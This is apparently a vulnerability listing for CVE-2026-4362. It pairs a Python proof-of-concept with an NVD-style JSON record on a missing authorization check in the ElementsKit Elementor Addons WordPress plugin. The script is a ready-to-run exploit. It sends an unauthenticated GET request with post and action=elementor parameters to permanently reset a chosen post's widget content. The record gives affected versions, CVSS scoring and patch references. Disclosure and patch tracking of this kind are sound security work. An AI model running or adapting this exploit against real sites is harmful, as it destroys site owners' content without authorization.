CVE-2026-4362

import requests def exploit_poc(target_url, post_id): """ PoC for CVE-2026-4362: Resets Elementor data for a specific post ID. """ # The vulnerable endpoint expects 'post' and 'action=elementor' parameters full_url = f"{target_url}?post={post_id}&action=elementor" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } try: response = requests.get(full_url, headers=headers, timeout=10) # Check if the request was processed (status code might be 200) if response.status_code == 200: print(f"[+] Payload sent successfully to {full_url}") print(f"[+] Response: {response.text[:100]}...") print("[!] Check the target post content to verify if it has been reset.") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL and Post ID target = "http://example.com/" pid = 1 exploit_poc(target, pid)

{"cve": {"id": "CVE-2026-4362", "sourceIdentifier": "[email protected]", "published": "2026-05-05T05:16:00.257", "lastModified": "2026-05-05T19:08:20.090", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The ElementsKit Elementor Addons plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the `Live_Action::reset()` function in all versions up to, and including, 3.8.2 The function is hooked to the WordPress `init` action and triggers when both `post` and `action=elementor` GET parameters are present, with no authentication or nonce verification. This makes it possible for unauthenticated attackers to overwrite the Elementor content (`_elementor_data`) of any `elementskit_widget` custom post type by visiting a specially crafted URL. The widget's custom designs, text, and configurations are permanently replaced with a blank template."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/elementskit-lite/tags/3.8.0/modules/widget-builder/init.php#L37", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/elementskit-lite/tags/3.8.0/modules/widget-builder/live-action.php#L10", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/elementskit-lite/tags/3.8.0/modules/widget-builder/live-action.php#L27", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3499543/elementskit-lite/trunk/modules/widget-builder/live-action.php", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?old_path=%2Felementskit-lite/tags/3.8.2&new_path=%2Felementskit-lite/tags/3.9.0", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/7740fdfb-65b2-4d27-935f-b0e73487f0c4?source=cve", "source": "[email protected]"}]}}